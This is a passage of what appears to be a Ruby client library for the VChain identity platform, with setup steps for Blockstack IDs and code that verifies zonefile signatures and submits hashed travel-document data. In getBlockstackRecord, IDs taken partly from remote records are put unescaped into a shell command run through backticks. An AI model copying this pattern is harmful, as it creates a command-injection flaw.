rsa -pubout -in private_rsa.pem -out public_rsa.pem ``` Send us contents of your RSA public key: ``` cat public_rsa.pem ``` ### 4. Register Blockstack ID ### Registration of ID in Blockstack is not free. We will top up your Blockstack's wallet to cover your expenses. For that reason run ``` blockstack deposit ``` The output will be similar to ``` { "address": "15xWnEqjEnVvGr2J1ku6PLP1BLHMfHN8iQ", "message": "Send bitcoins to the address specified." } ``` Provide us this ```address``` and we will put required BTCs there. You can check your balance with ``` blockstack balance ``` It takes a while for Bitcoin transaction to settle and gain enough confirmations from Bitcoin Network. Usually, it takes 1-2 hours. As soon as money recieved, register a new Blockstack ID: ``` blockstack register <desired_blockstack_id>.id ``` You could take any free ID you want, VChain doesn't provide any rules and limitations for that. It will take about 2-5 hours to complete registration of this ID. You can check registration progress by running ``` blockstack info ``` ### 5. Library configuration ### For security reasons we provide a way to increase tolerance to attacks. You can use unlimited number of Blockchain adapters in order to check transactions between all of them. It means that having txid from VChain Platform, it will be checked and compared to each other across all of available sources. For example, you could use Blockcypher API adapter and 2 different bitcoin full nodes. Current available types are: * blockcypher * bitcoind Example of config Hash needed for ```VChainClient::Client.new```: ``` { "client_id" => "<vchain_client_id>", "api" => { "url" => "https://api.vchain.tech/" }, "blockstack" => { "path" => "sudo /usr/local/bin/blockstack", "client_id" => "<blockstack_client_id>" }, "ecc_private_key_location" => "/path/to/private_ecc.pem", "ecc_public_key_location" => "/path/to/public_ecc.pem", "rsa_private_key_location" => "/path/to/private_rsa.pem", "rsa_public_key_location" => "/path/to/public_rsa.pem", "blockchain_adapters" => [ { "type" => "blockcypher", "api_token" => "<blockcypher_api_token>" }, { "type" => "bitcoind", "server" => "<bitcoin_server_ip>", "port" => "<bitcoin_server_port>", "rpc_username" => "<bitcoin_server_rpc_username>", "rpc_password" => "<<PASSWORD>>" }, { "type" => "bitcoind", "server" => "<another_bitcoin_server_ip>", "port" => "<another_bitcoin_server_port>", "rpc_username" => "<another_bitcoin_server_rpc_username>", "rpc_password" => "<<PASSWORD>>" } ] } ``` ### 6. Update Blockstack ID zonefile ### Once your Blockstack ID is registered, we need to update record there with your public keys. Use ``` VChainClient::Client.generateBlockstackCommand(config) ``` Console output should be similar to: ``` blockstack_id = some_blockstack_id.id vchain_client_id = 230b22be-0bb6-458a-bf6a-e0aac0b9b1c2 ecc_pub_key = MFYwEAY..........RmSkprQ== rsa_pub_key = MFYwEAY..........RmSkprQ== validator_vchain_id = da93b5f7-2295-4435-a67a-4fc226eca3ac vchain_role = verificator client_sig = MEQCI..........kbREbg== ``` You need to send VChain these details (there is nothing private here) and we will provide you with ```validator_signature``` Having this validator's signature, run it again: ``` VChainClient::Client.generateBlockstackCommand(config, "<validator_sig>") ``` Console output should be similar to: ``` BLOCKSTACK_DEBUG=1 blockstack update <your_blockstack_id> '$ORIGIN <your_blockstack_id> $TTL 3600 A1 TXT "MFYwEAY..........RmSkprQ==" A2 TXT "230b22be-0bb6-458a-bf6a-e0aac0b9b1c2" A3 TXT "MeQxI..........TbFtAs==" A4 TXT "da93b5f7-2295-4435-a67a-4fc226eca3ac" A5 TXT "vchain_core_01.id" A6 TXT "verificator" A7 TXT "1" A8 TXT "MEQCI..........kbREbg==" A9 TXT "MEQCI..........kbREbg==" _tcp._http URI 10 1 "http://example.com" ' ``` Copy and paste this command to terminal and run - Blockstack record update will begin now. Again, it will take a few hours to update record in Blockstack. You can check update progress by running ``` blockstack info ``` ## III. Usage ## ### 1. Setup logging, log4r ### We use log4r to provide logs output. To enable output from a library, you need to define ```vchain_client``` logger in your log4r config and set needed level of logging output (we use only DEBUG and ERROR levels). ### 2. Data types ### ### 3. Check data set ### ### 4. Use travel document ### <file_sep>module VChainClient class BlockstackClient MASTER_ECC_PUBLIC_KEY = "<KEY> @config = nil @log = nil @@recs_cache = {} @@ecc_keys_cache = {} @@rsa_keys_cache = {} def initialize(config) @config = config @log = Log4r::Logger["vchain_client"] end def checkFederativeServer(federative_server_id) if @log.debug? @log.debug("[Blockstack.checkFederativeServer] input:") @log.debug("-> federative_server_id: #{federative_server_id}") end begin return self.checkBlockstackRecord(federative_server_id, 'federative_server') rescue => e if @log.error? @log.error("[Blockstack.checkFederativeServer] checkBlockstackRecord raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> federative_server_id: #{federative_server_id}") @log.error("--> federative_server_id: #{federative_server_id}") @log.error("--> type: federative_server") end raise e end end def checkVerificator(verificator_id) if @log.debug? @log.debug("[Blockstack.checkVerificator] input:") @log.debug("-> verificator_id: #{verificator_id}") end begin return self.checkBlockstackRecord(verificator_id, 'verificator') rescue => e if @log.error? @log.error("[Blockstack.checkVerificator] checkBlockstackRecord raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> verificator_id: #{verificator_id}") @log.error("--> verificator_id: #{verificator_id}") @log.error("--> type: verificator") end raise e end end def checkValidator(validator_id) if @log.debug? @log.debug("[Blockstack.checkValidator] input:") @log.debug("-> validator_id: #{validator_id}") end begin return self.checkBlockstackRecord(validator_id, 'validator') rescue => e if @log.error? @log.error("[Blockstack.checkValidator] checkBlockstackRecord raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> validator_id: #{validator_id}") @log.error("--> validator_id: #{validator_id}") @log.error("--> type: validator") end raise e end end def checkBlockstackRecord(blockstack_id, type) if @log.debug? @log.debug("[Blockstack.checkBlockstackRecord] input:") @log.debug("-> blockstack_id: #{blockstack_id}") @log.debug("-> type: #{type}") end record = nil begin record = self.getBlockstackRecord(blockstack_id) rescue => e if @log.error? @log.error("[Blockstack.checkBlockstackRecord] getBlockstackRecord raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> blockstack_id: #{blockstack_id}") end raise e end if record == nil if @log.error? @log.error("[Blockstack.checkBlockstackRecord] failed to retrieve record") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> blockstack_id: #{blockstack_id}") end return false end cryptoHelper = VChainClient::Crypto.new(@config) if @log.debug? @log.debug("[Blockstack.checkBlockstackRecord] Crypto initialized") end if record != nil if record.key?("ecc_pubkey") if record.key?("vchain_role") if record["vchain_role"] != type if @log.error? @log.error("[Blockstack.checkBlockstackRecord] type mismatch") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> '"+ record["vchain_role"] +"'") end return false end if !record.key?("validator_blockstack_id") if @log.error? @log.error("[Blockstack.checkBlockstackRecord] record doesn't have 'validator_blockstack_id' field") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") end return false end validator_blockstack_id = record["validator_blockstack_id"] if @log.debug? @log.debug("[Blockstack.checkBlockstackRecord] record's vchain_role is '"+ record["vchain_role"] +"'") end if record["vchain_role"] != 'validator' if @log.debug? @log.debug("[Blockstack.checkBlockstackRecord] going to check validator for #{blockstack_id}, validator_id: #{validator_blockstack_id}") end begin if !self.checkValidator(validator_blockstack_id) if @log.error? @log.error("[Blockstack.checkBlockstackRecord] failed to check validator") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> validator_blockstack_id: #{validator_blockstack_id}") end return false end rescue => e if @log.error? @log.error("[Blockstack.checkBlockstackRecord] checkValidator raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> validator_blockstack_id: #{validator_blockstack_id}") end raise e end end validator_ecc_pub_key = nil if record["vchain_role"] != 'validator' begin validator_ecc_pub_key = self.getPublicKeyECC(validator_blockstack_id) rescue => e if @log.error? @log.error("[Blockstack.checkBlockstackRecord] getPublicKeyECC raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> validator_blockstack_id: #{validator_blockstack_id}") end raise e end else validator_ecc_pub_key = MASTER_ECC_PUBLIC_KEY; end if validator_ecc_pub_key == nil if @log.error? @log.error("[Blockstack.checkBlockstackRecord] failed to retrieve public key:") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> validator_blockstack_id: #{validator_blockstack_id}") end return false end # check client's sig version 1 client_sig = record["client_sig"] validator_sig = record["validator_sig"] client_sig_to_check = record["vchain_id"] + record["vchain_role"] + blockstack_id + record["ecc_pubkey"] + record["sig_version"]; validator_sig_to_check = record["vchain_id"] + record["vchain_role"] + blockstack_id + record["ecc_pubkey"] + record["sig_version"] + record["validator_vchain_id"] + validator_blockstack_id # client's sig versions 2 && 3 if record["sig_version"] == "2" || record["sig_version"] == "3" # need to retrieve RSA key if !record.key?("rsa_pubkey") if @log.error? @log.error("[Blockstack.checkBlockstackRecord] record doesn't have 'rsa_pubkey' field") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") end return false end if record["sig_version"] == "2" # sig version 2 client_sig = record["client_sig_v2"] validator_sig = record["validator_sig_v2"] client_sig_to_check = record["vchain_id"] + record["vchain_role"] + blockstack_id + record["ecc_pubkey"] + record["rsa_pubkey"] + record["sig_version"]; validator_sig_to_check = record["vchain_id"] + record["vchain_role"] + blockstack_id + record["ecc_pubkey"].gsub(/\n/, "") + record["rsa_pubkey"].gsub(/\n/, "") + record["sig_version"] + record["validator_vchain_id"] + validator_blockstack_id elsif record["sig_version"] == "3" # sig version 3 client_sig = record["client_sig_v3"] validator_sig = record["validator_sig_v3"] client_sig_to_check = record["vchain_id"] + record["vchain_role"] + blockstack_id + record["ecc_pubkey"].gsub(/\n/, "") + record["rsa_pubkey"].gsub(/\n/, "") + record["sig_version"]; validator_sig_to_check = record["vchain_id"] + record["vchain_role"] + blockstack_id + record["ecc_pubkey"].gsub(/\n/, "") + record["rsa_pubkey"].gsub(/\n/, "") + record["sig_version"] + record["validator_vchain_id"] + validator_blockstack_id end end begin if cryptoHelper.verifySignature(client_sig_to_check, client_sig, record["ecc_pubkey"]) # check validator's sig begin if cryptoHelper.verifySignature(validator_sig_to_check, validator_sig, validator_ecc_pub_key) return true; else if @log.error? @log.error("[Blockstack.checkBlockstackRecord] failed to verify validator_sig") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> validator_sig_to_check: #{validator_sig_to_check}") @log.error("--> validator_sig: "+ Base64.encode64(record["validator_sig"])) @log.error("--> validator_ecc_pub_key: #{validator_ecc_pub_key}") end return false end rescue => e if @log.error? @log.error("[Blockstack.checkBlockstackRecord] verifySignature for validator_sig raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> validator_sig_to_check: #{validator_sig_to_check}") @log.error("--> validator_sig: "+ Base64.encode64(record["validator_sig"])) @log.error("--> validator_ecc_pub_key: #{validator_ecc_pub_key}") end raise e end else if @log.error? @log.error("[Blockstack.checkBlockstackRecord] failed to verify client_sig") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> client_sig_to_check: #{client_sig_to_check}") @log.error("--> client_sig: "+ Base64.encode64(record["client_sig"])) @log.error("--> ecc_pubkey: "+ record["ecc_pubkey"]) end return false end rescue => e if @log.error? @log.error("[Blockstack.checkBlockstackRecord] verifySignature for client_sig raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") @log.error("--> client_sig_to_check: #{client_sig_to_check}") @log.error("--> client_sig: "+ Base64.encode64(record["client_sig"])) @log.error("--> ecc_pubkey: "+ record["ecc_pubkey"]) end raise e end else if @log.error? @log.error("[Blockstack.checkBlockstackRecord] record doesn't have 'vchain_role' field") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") end end else if @log.error? @log.error("[Blockstack.checkBlockstackRecord] record doesn't have 'ecc_pubkey' field") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") end end else if @log.error? @log.error("[Blockstack.checkBlockstackRecord] record is null") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("-> type: #{type}") end end return false end def getPublicKeyECC(blockstack_id, force_refresh=false) if @log.debug? @log.debug("[Blockstack.getPublicKeyECC] input:") @log.debug("-> blockstack_id: #{blockstack_id}") end if !force_refresh if @@ecc_keys_cache.key?(blockstack_id) if @log.debug? @log.debug("[Blockstack.getPublicKeyECC] '#{blockstack_id}' is in a cache") end return @@ecc_keys_cache[blockstack_id] end end if @log.debug? @log.debug("[Blockstack.getPublicKeyECC] '#{blockstack_id}' is not in a cache yet") end begin record = self.getBlockstackRecord(blockstack_id, force_refresh); if record != nil if record.key?("ecc_pubkey") @@ecc_keys_cache[blockstack_id] = record["ecc_pubkey"] return record["ecc_pubkey"] else if @log.error? @log.error("[Blockstack.getPublicKeyECC] record '#{blockstack_id}' doesn't have 'ecc_pubkey' field") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("--> blockstack_id: #{blockstack_id}") end end else if @log.error? @log.error("[Blockstack.getPublicKeyECC] failed to retrieve '#{blockstack_id}' record") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("--> blockstack_id: #{blockstack_id}") end end rescue => e if @log.error? @log.error("[Blockstack.getPublicKeyECC] getBlockstackRecord raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("--> blockstack_id: #{blockstack_id}") end raise e end return nil end def getPublicKeyRSA(blockstack_id, force_refresh=false) if @log.debug? @log.debug("[Blockstack.getPublicKeyRSA] input:") @log.debug("-> blockstack_id: #{blockstack_id}") end if !force_refresh if @@rsa_keys_cache.key?(blockstack_id) if @log.debug? @log.debug("[Blockstack.getPublicKeyRSA] '#{blockstack_id}' is in a cache") end return @@rsa_keys_cache[blockstack_id] end end if @log.debug? @log.debug("[Blockstack.getPublicKeyRSA] '#{blockstack_id}' is not in a cache yet") end begin record = self.getBlockstackRecord(blockstack_id, force_refresh); if record != nil if record.key?("rsa_pubkey") @@rsa_keys_cache[blockstack_id] = record["rsa_pubkey"] return record["rsa_pubkey"] else if @log.error? @log.error("[Blockstack.getPublicKeyRSA] record '#{blockstack_id}' doesn't have 'rsa_pubkey' field") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("--> blockstack_id: #{blockstack_id}") end end else if @log.error? @log.error("[Blockstack.getPublicKeyRSA] failed to retrieve '#{blockstack_id}' record") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("--> blockstack_id: #{blockstack_id}") end end rescue => e if @log.error? @log.error("[Blockstack.getPublicKeyRSA] getBlockstackRecord raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("--> blockstack_id: #{blockstack_id}") end raise e end return nil end def getBlockstackRecord(blockstack_id, force_refresh=false) if @log.debug? @log.debug("[Blockstack.getBlockstackRecord] input:") @log.debug("-> blockstack_id: #{blockstack_id}") end if !force_refresh if @@recs_cache.key?(blockstack_id) if @log.debug? @log.debug("[Blockstack.getBlockstackRecord] '#{blockstack_id}' is in a cache") end return @@recs_cache[blockstack_id] end end blockstack_path = @config["blockstack"]["path"] cmd_init = blockstack_path +" set_advanced_mode on" cmd = blockstack_path +" get_name_zonefile "+ blockstack_id if @log.debug? @log.debug("[Blockstack.getBlockstackRecord] using '#{blockstack_path}' as a Blockstack path") @log.debug("[Blockstack.getBlockstackRecord] running '#{cmd}'") end ret = nil begin `#{cmd_init}` ret = `#{cmd}` rescue => e if @log.error? @log.error("[Blockstack.getBlockstackRecord] cmd call '#{cmd}' raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("--> '#{cmd}'") end raise e end if ret == nil if @log.error? @log.error("[Blockstack.getBlockstackRecord] failed to retrieve record from cmd call") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("--> '#{cmd}'") end return nil end if @log.debug? @log.debug("[Blockstack.getBlockstackRecord] cmd call return:") @log.debug(ret) end ret = JSON.parse ret @log.debug(ret) lines = ret["zonefile"].split("\n") fz = {} lines.each { |line| recs = line.split(" ") if recs.size == 3 if recs[0] == "A1" || recs[0] == "A2" || recs[0] == "A3" || recs[0] == "A4" || recs[0] == "A5" || recs[0] == "A6" || recs[0] == "A7" || recs[0] == "A8" || recs[0] == "A9" || recs[0] == "A10" || recs[0] == "A11" fz[recs[0]] = recs[2][1..-2] end end } if @log.debug? @log.debug("[Blockstack.getBlockstackRecord] fz:") @log.debug(fz) end if fz.key?("A1") && fz.key?("A2") && fz.key?("A3") && fz.key?("A4") && fz.key?("A5") && fz.key?("A6") && fz.key?("A7") && fz.key?("A8") ecc_pubkey_aligned = fz["A1"] ecc_pubkey = ecc_pubkey_aligned[0..63] +"\n"+ ecc_pubkey_aligned[64..ecc_pubkey_aligned.length] rsa_pubkey = nil if fz["A7"] == "2" || fz["A7"] == "3" # sig versions 2 && 3 if !fz.key?("A9") if @log.error? @log.error("[Blockstack.getBlockstackRecord] no 'A9' field, sig ver is >1") @log.error("-> blockstack_id: #{blockstack_id}") end return nil end rsa_pubkey_aligned = fz["A9"] rsa_pubkey = rsa_pubkey_aligned[0..63] +"\n"+ rsa_pubkey_aligned[64..127] +"\n"+ rsa_pubkey_aligned[128..191] +"\n"+ rsa_pubkey_aligned[192..255] +"\n"+ rsa_pubkey_aligned[256..319] +"\n"+ rsa_pubkey_aligned[320..383] +"\n"+ rsa_pubkey_aligned[384..rsa_pubkey_aligned.length] end output = { "ecc_pubkey" => ecc_pubkey, "rsa_pubkey" => rsa_pubkey, "vchain_id" => fz["A2"], "validator_sig" => Base64.decode64(fz["A3"]), "validator_vchain_id" => fz["A4"], "validator_blockstack_id" => fz["A5"], "vchain_role" => fz["A6"], "sig_version" => fz["A7"], "client_sig" => Base64.decode64(fz["A8"]) } if fz["A7"] == "2" || fz["A7"] == "3" # sig versions 2 && 3 output["client_sig_v2"] = Base64.decode64(fz["A8"]) output["validator_sig_v2"] = Base64.decode64(fz["A3"]) if fz["A7"] == "3" # sig version 3 if !fz.key?("A10") || !fz.key?("A11") if @log.error? @log.error("[Blockstack.getBlockstackRecord] no 'A10' or 'A11' fields, sig ver = 3") @log.error("-> blockstack_id: #{blockstack_id}") end return nil end output["client_sig_v3"] = Base64.decode64(fz["A10"]) output["validator_sig_v3"] = Base64.decode64(fz["A11"]) end end if @log.debug? @log.debug("[Blockstack.getBlockstackRecord] output:") @log.debug(output) end @@recs_cache[blockstack_id] = output @@ecc_keys_cache[blockstack_id] = ecc_pubkey @@rsa_keys_cache[blockstack_id] = rsa_pubkey return output else if @log.error? @log.error("[Blockstack.getBlockstackRecord] no 'A*' field") @log.error("-> blockstack_id: #{blockstack_id}") @log.error("--> blockstack_id: #{blockstack_id}") end end return nil end end end<file_sep>module VChainClient class DecisionAlgorithm def make_decision(sent_document, res, validated_data_points) return nil end end end<file_sep>module VChainClient class BlockchainAdapter def getTx(txid) return nil end def getName() return "abstract" end end end<file_sep>module VChainClient class Client require 'rest-client' require 'base64' require 'openssl' require 'log4r' require 'json' require 'vchain_client/blockchain_adapter' require 'vchain_client/bitcoind_blockchain_adapter' require 'vchain_client/blockcypher_blockchain_adapter' require 'vchain_client/blockchain_adapter_factory' require 'vchain_client/blockchain_connection' require 'vchain_client/crypto' require 'vchain_client/blockstack_client' require 'vchain_client/decision_algos/decision_algorithm.rb' require 'vchain_client/decision_algos/vector_based_decision_algorithm.rb' FIELD_TYPE_TRAVEL_DOCUMENT = "travel_document" FIELD_TYPE_TEST_DOCUMENT = "test_document" FIELD_TYPE_TRAVEL_DOCUMENT_HASHED = "fbb6889f44061c2a91e17a411cf168f9457981257a5e0a31fb706cd5cd1e64c263780a42a1fd858ee69429869ab2e2c53b9d94c4a26946f2b0c12f8ce2812d6b" FIELD_TYPE_TEST_DOCUMENT_HASHED = "e061cf61078d74025ab1d136e0a78785097b8ef721107e940cac1ca836ed5fa6af907344b761447274ce0558d95d4126e94e11f04eb70c3885afcc96f9cfe985" DATA_POINT_VERSION = "1" CLIENT_LIB_VERSION = "1.0.37" @config = nil @log = nil def initialize(config) @config = config @log = Log4r::Logger["vchain_client"] end def self.hash_doc(arr) arr.each { |k, v| if k != "names_parts" if k != "surname" && k != "given_names" arr[k] = Digest::SHA512.hexdigest(v.downcase) else arr[k] = Digest::SHA512.hexdigest(v) end end } end def self.full_hash(arr) output = {} arr.each { |k, v| if k != "names_parts" && k != "names" if k != "doc_hash" output[Digest::SHA512.hexdigest(k)] = Digest::SHA512.hexdigest(v) else output[k] = Digest::SHA512.hexdigest(v) end end } return output end def self.cut(arr) arr.each { |k, v| if arr["type"] == FIELD_TYPE_TRAVEL_DOCUMENT_HASHED if k == "type" || k == "country_code" || k == "number" || k == "surname" || k == "given_names" || k == "birthdate" || k == "nationality" || k == "sex" || k == "birthplace" || k == "issue_date" || k == "expiry_date" || k == "authority" arr[k] = v else arr.delete(k) end elsif arr["type"] == FIELD_TYPE_TEST_DOCUMENT_HASHED if k == "type" || k == "a" || k == "b" || k == "c" || k == "d" || k == "e" arr[k] = v else arr.delete(k) end end } end def self.get_doc_hash(arr) if arr["type"] == FIELD_TYPE_TRAVEL_DOCUMENT_HASHED what_to_hash = "" what_to_hash += arr["type"] if arr.key?("type") what_to_hash += arr["country_code"] if arr.key?("country_code") what_to_hash += arr["number"] if arr.key?("number") what_to_hash += arr["surname"] if arr.key?("surname") what_to_hash += arr["given_names"] if arr.key?("given_names") what_to_hash += arr["birthdate"] if arr.key?("birthdate") what_to_hash += arr["nationality"] if arr.key?("nationality") what_to_hash += arr["sex"] if arr.key?("sex") what_to_hash += arr["birthplace"] if arr.key?("birthplace") what_to_hash += arr["issue_date"] if arr.key?("issue_date") what_to_hash += arr["expiry_date"] if arr.key?("expiry_date") what_to_hash += arr["authority"] if arr.key?("authority") return Digest::SHA512.hexdigest(what_to_hash) elsif arr["type"] == FIELD_TYPE_TEST_DOCUMENT_HASHED what_to_hash = "" what_to_hash += arr["type"] if arr.key?("type") what_to_hash += arr["a"] if arr.key?("a") what_to_hash += arr["b"] if arr.key?("b") what_to_hash += arr["c"] if arr.key?("c") what_to_hash += arr["d"] if arr.key?("d") what_to_hash += arr["e"] if arr.key?("e") return Digest::SHA512.hexdigest(what_to_hash) end end def self.get_credentials_fields(type) if type == FIELD_TYPE_TRAVEL_DOCUMENT_HASHED return ["type", "number", "given_names", "surname", "birthdate"] elsif type == FIELD_TYPE_TEST_DOCUMENT_HASHED return ["type", "a", "b", "c"] end if @log.error? @log.error("[get_credentials_fields] unknown document type: '"+ type +"'") end return nil end def self.get_similar_credential_sets(type) if type == FIELD_TYPE_TRAVEL_DOCUMENT_HASHED output = [] # given_names output.push(["type", "number", "surname", "birthdate"]) # surname output.push(["type", "number", "given_names", "birthdate"]) # number output.push(["type", "given_names", "surname", "birthdate"]) # birthdate output.push(["type", "number", "given_names", "surname"]) # given_names + number output.push(["type", "surname", "birthdate"]) # surname + number output.push(["type", "given_names", "birthdate"]) # given_names + birthdate output.push(["type", "number", "surname"]) # surname + birthdate output.push(["type", "number", "given_names"]) # given_names + surname output.push(["type", "number", "birthdate"]) return output elsif type == FIELD_TYPE_TEST_DOCUMENT_HASHED output = [] output.push(["type", "a", "b"]) output.push(["type", "a", "c"]) output.push(["type", "b", "c"]) return output end if @log.error? @log.error("[get_credentials_fields] unknown document type: '"+ type +"'") end return nil end def self.get_credentials_hash(document) if document["type"] == FIELD_TYPE_TRAVEL_DOCUMENT_HASHED what_to_hash = document["type"] + document["number"] + document["given_names"] + document["surname"] + document["birthdate"] return Digest::SHA512.hexdigest(what_to_hash) elsif document["type"] == FIELD_TYPE_TEST_DOCUMENT_HASHED what_to_hash = document["type"] + document["a"] + document["b"] + document["c"] return Digest::SHA512.hexdigest(what_to_hash) end if @log.error? @log.error("[get_credentials_hash] unknown document type: '"+ document["type"] +"'") end return nil end def build_merkle_tree(tree, timestamp) previous_parent = nil tree.each { |tree_level| if previous_parent != nil if previous_parent != tree_level["left"] && previous_parent != tree_level["right"] if @log.error? @log.error("[build_merkle_tree] wrong tree consequence - no parent in next level") end return nil end end what_to_hash = tree_level["left"] if tree_level["right"] != nil what_to_hash += tree_level["right"] else what_to_hash += tree_level["left"] end what_to_hash += timestamp.to_s level_hash = Digest::SHA256.hexdigest(what_to_hash); if level_hash != tree_level["parent"] if @log.error? @log.error("[build_merkle_tree] level hash not equal to its parent") end return nil end previous_parent = level_hash } return previous_parent end def generate_batch_data_points(input_arr) output = [] input_arr.each { |raw_document| if !raw_document.key?("point_type") if @log.error? @log.error("CLIENT LIB VERSION: "+ CLIENT_LIB_VERSION) @log.error("[generate_batch_data_points] point_type not set for element in input array") end return false end point_type = raw_document["point_type"] raw_document.delete("point_type") weight = 1 if raw_document.key?("weight") weight = raw_document["weight"] raw_document.delete("weight") end if raw_document["type"] == FIELD_TYPE_TRAVEL_DOCUMENT # dealing with names before hashing surnames_arr = raw_document["surname"] given_names_arr = raw_document["given_names"] if !surnames_arr.kind_of?(Array) surnames_arr = surnames_arr.split end if !given_names_arr.kind_of?(Array) given_names_arr = given_names_arr.split end hashed_surname = "" sep = "" surnames_arr.each { |surname_part| hashed_surname += sep hashed_surname += Digest::SHA512.hexdigest(surname_part.downcase) sep = " " } hashed_given_names = "" sep = "" given_names_arr.each { |given_names_part| hashed_given_names += sep hashed_given_names += Digest::SHA512.hexdigest(given_names_part.downcase) sep = " " } raw_document["given_names"] = hashed_given_names raw_document["surname"] = hashed_surname end out_document = VChainClient::Client.hash_doc(raw_document) out_document = VChainClient::Client.cut(out_document) doc_hash = VChainClient::Client.get_doc_hash(out_document) out_document["doc_hash"] = doc_hash credentials_hash = VChainClient::Client.get_credentials_hash(out_document) out_document["credentials_hash"] = credentials_hash if weight > 1 weight = 1 elsif weight < 0 weight = 0 end out_document["weight"] = weight out_document["point_type"] = point_type output.push(out_document) } return output end def add_batch_data_points(input_arr) cryptoHelper = VChainClient::Crypto.new(@config) time = Time.now.getutc timestamp = time.to_i batch = [] index = 0 input_arr.each { |hashed_document| if !hashed_document.key?("point_type") if @log.error? @log.error("CLIENT LIB VERSION: "+ CLIENT_LIB_VERSION) @log.error("[add_batch_data_points] point_type not set for "+ index +" element in input array") end return false end if !hashed_document.key?("doc_hash") if @log.error? @log.error("CLIENT LIB VERSION: "+ CLIENT_LIB_VERSION) @log.error("[add_batch_data_points] doc_hash not set for "+ index +" element in input array") end return false end if !hashed_document.key?("credentials_hash") if @log.error? @log.error("CLIENT LIB VERSION: "+ CLIENT_LIB_VERSION) @log.error("[add_batch_data_points] credentials_hash not set for "+ index +" element in input array") end return false end point_type = hashed_document["point_type"] hashed_document.delete("point_type") doc_hash = hashed_document["doc_hash"] hashed_document.delete("doc_hash") credentials_hash = hashed_document["credentials_hash"] hashed_document.delete("credentials_hash") weight = 1 if hashed_document.key?("weight") weight = hashed_document["weight"] end hashed_document.delete("weight") if weight > 1 weight = 1 elsif weight < 0 weight = 0 end point_signatures = nil begin point_signatures = cryptoHelper.signDataPoint(point_type, hashed_document, doc_hash, credentials_hash, weight, timestamp) rescue => e if @log.error? @log.error("[add_batch_data_points] Crypto.signDataPoint raised exception") @log.error("#{e.class}, #{e.message}") @log.error("-> point_type: "+ point_type) @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> document:") @log.error(hashed_document) end raise e end if point_signatures == nil if @log.error? @log.error("[add_batch_data_points] failed to Crypto.signDataPoint") @log.error("-> point_type: "+ point_type) @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> document:") @log.error(hashed_document) end return false end if @log.debug? @log.debug("[add_batch_data_points] point_signatures:") @log.debug(point_signatures) end batch_element = { "data" => Hash[hashed_document.sort], "point_type" => point_type, "weight" => weight, "signatures" => point_signatures } batch.push(batch_element) index += 1 } client_id = @config["client_id"] api_url = @config["api"]["url"] + "v0.4/batchAddDataPoint/" whole_signature = nil begin whole_signature = cryptoHelper.signBatchRequest(batch, timestamp) rescue => e if @log.error? @log.error("[add_batch_data_points] Crypto.signRequest raised exception:") @log.error("#{e.class}: #{e.message}") end raise e else if whole_signature == nil if @log.error? @log.error("[add_batch_data_points] failed to sign request") end return false end if @log.debug? @log.debug("[add_batch_data_points] Crypto.signRequest went well, whole_signature:") @log.debug(whole_signature) end send_data = {} send_data["signature"] = whole_signature send_data["timestamp"] = timestamp.to_s send_data["data"] = [] batch.each { |doc| send_doc = {} send_doc["data"] = doc["data"] send_doc["weight"] = doc["weight"].to_s send_doc["type"] = doc["point_type"] send_doc["point_signatures"] = doc["signatures"] send_data["data"].push(send_doc) } cyphered_data = cryptoHelper.encodeCypher(send_data.to_json) encoded_key = cryptoHelper.encodeRSA(cyphered_data["key"]) encoded_iv = cryptoHelper.encodeRSA(cyphered_data["iv"]) doc_to_send = { "key" => Base64.encode64(encoded_key), "iv" => Base64.encode64(encoded_iv), "payload" => Base64.encode64(cyphered_data["payload"]), "client_id" => client_id } if @log.debug? @log.debug("[add_batch_data_points] raw sent data:") @log.debug(send_data.to_json) @log.debug("[add_batch_data_points] sent data:") @log.debug(doc_to_send) end begin res = RestClient::Resource.new api_url, :timeout => nil, :open_timeout => nil req = res.post doc_to_send.to_json, :content_type => 'application/json' if req.code != 200 if @log.error? @log.error("[add_batch_data_points] response with code "+ req.code.to_s) @log.error("-> client_id: #{client_id}") @log.error("-> api_url: #{api_url}") @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> raw sent data:") @log.error(send_data) @log.error("-> sent data:") @log.error(doc_to_send) end return false end if @log.debug? @log.debug("[add_batch_data_points] response code is 200:") @log.debug(req.body) end return true rescue => e if @log.error? @log.error("[add_batch_data_points] RestClient.post raised 